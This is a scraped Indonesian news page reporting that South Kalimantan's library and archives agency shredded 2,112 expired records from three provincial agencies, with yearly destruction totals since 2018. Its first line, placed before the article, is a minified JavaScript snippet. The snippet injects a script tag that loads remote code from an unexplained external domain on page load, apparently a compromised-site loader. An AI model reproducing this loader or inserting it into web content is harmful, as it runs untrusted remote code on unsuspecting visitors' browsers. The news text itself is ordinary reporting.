(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 2.112 berkas arsip dari tiga instansi Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) habis masa retensi dimusnahkan.
Pemusnahan dilakukan di Depo Arsip Kalsel di Banjarbaru dilaksanakan Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel.
Kepala Dispersip Kalsel Dra Nurliani Dardie mengatakan, 2.112 berkas arsip yang dimusnahkan sebagian besar milik Dispersip Kalsel yaitu sebanyak 1.592.
Sedangkan sisanya berasal dari Dinas Koperasi Usaha Kecil Menengah Provinsi Kalsel sebanyak 320 berkas, kemudian Dinas Energi dan Sumber Daya Alam Mineral Provinsi Kalsel sebanyak 200 berkas.
Baca juga: Tipu-tipu Perwira Gadungan Bisa Loloskan Masuk Polisi Ditangkap Polda Kalsel
“Berkas Dispersip Kalsel yang dimusnahkan dari tahun 1980-2014, Dinas Koperasi dari tahun 2003-2010, sedangkan Dinas ESDM dari tahun 1989-2005,” ungkap Nurliyani.
Pemusnahan dilakukan dengan memasukan satu persatu berkas berbentuk kertas itu ke dalam mesin pencacah otomatis yang tersedia di Depo Arsip Kalsel.
Kadispersip Kalsel menyebut, pemusnahan arsip bukan pertama kali dilakukan. Sejak tahun 2002 hingga 2023 Dispersip Kalsel telah melakukan pemusnahan berkas arsip sebanyak 9 kali dengan berkas yang tersimpan dari kurun waktu 90-an dari berbagai SKPD di lingkungan Pemprov Kalsel.
Baca juga: Ledakan di Setiabudi Satu Tewas
“Saat saya menjabat sejak tahun 2018 melakukan pemusnahan sebanyak 7 kali, 2018 sebanyak 294 berkas, 2019 ada 870 berkas, April 2020 ada 26.585 berkas, November 2020 sebanyak 21.487 berkas, 2022 dimusnahkan 3.090 berkas, dan terakhir 2023 dimusnahkan 2.112 berkas,” rinci Nurliani.
Ia mengatakan, tujuan dilakukan pemusnahan berkas arsip agar tidak terjadi penumpukan arsip pada instansi yang akan berpengaruh terhadap kinerja pada sebuah instansi. “Dengan kegiatan ini diharapkan adanya efesiensi dan efektivitas kerja bagi instansi,” pungkas Kadispersip Kalsel. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.